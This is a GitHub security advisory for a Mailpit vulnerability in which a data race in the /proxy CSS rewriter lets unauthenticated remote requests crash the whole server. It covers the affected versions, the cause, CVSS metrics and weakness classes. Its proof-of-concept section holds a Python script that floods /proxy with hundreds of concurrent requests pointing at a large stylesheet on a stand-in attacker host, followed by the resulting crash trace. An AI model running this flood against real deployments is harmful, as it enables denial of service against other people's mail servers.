Skip to content

Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)

Moderate severity GitHub Reviewed Published May 14, 2026 in axllent/mailpit • Updated May 19, 2026

Package

gomod github.com/axllent/mailpit (Go)

Affected versions

< 1.30.0

Patched versions

1.30.0

Description

Summary

The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.

Details

A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.

Affected code
server/handlers/proxy.go:198-229
server/handlers/proxy.go:52-66
server/handlers/proxy.go:244-313

Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.

PoC

  1. Deposit any message with a in the store (SMTP or /api/v1/send, both unauthenticated by default).
  2. Make a few hundred concurrent requests to /proxy?data=base64(:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.

Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):

# proxy-race.py
import socket, threading, base64, sys

ID = sys.argv[1]                                   # 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()

req = (
    f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
    f"Host: target:8025\r\n"
    f"Connection: close\r\n\r\n"
).encode()

def hit():
    try:
        s = socket.create_connection(("target", 8025), timeout=10)
        s.sendall(req)
        while s.recv(8192): pass
        s.close()
    except Exception: pass

for _ in range(50):                                # 50 rounds
    ts = [threading.Thread(target=hit) for _ in range(300)]
    for t in ts: t.start()
    for t in ts: t.join()

When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:

fatal error: concurrent map read and map write

goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
        server/handlers/proxy.go:216
...

…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.

Impact

Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).

References

@axllent axllent published to axllent/mailpit May 14, 2026
Published to the GitHub Advisory Database May 19, 2026
Reviewed May 19, 2026
Last updated May 19, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-45712

GHSA ID

GHSA-w4vj-r5pg-3722

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.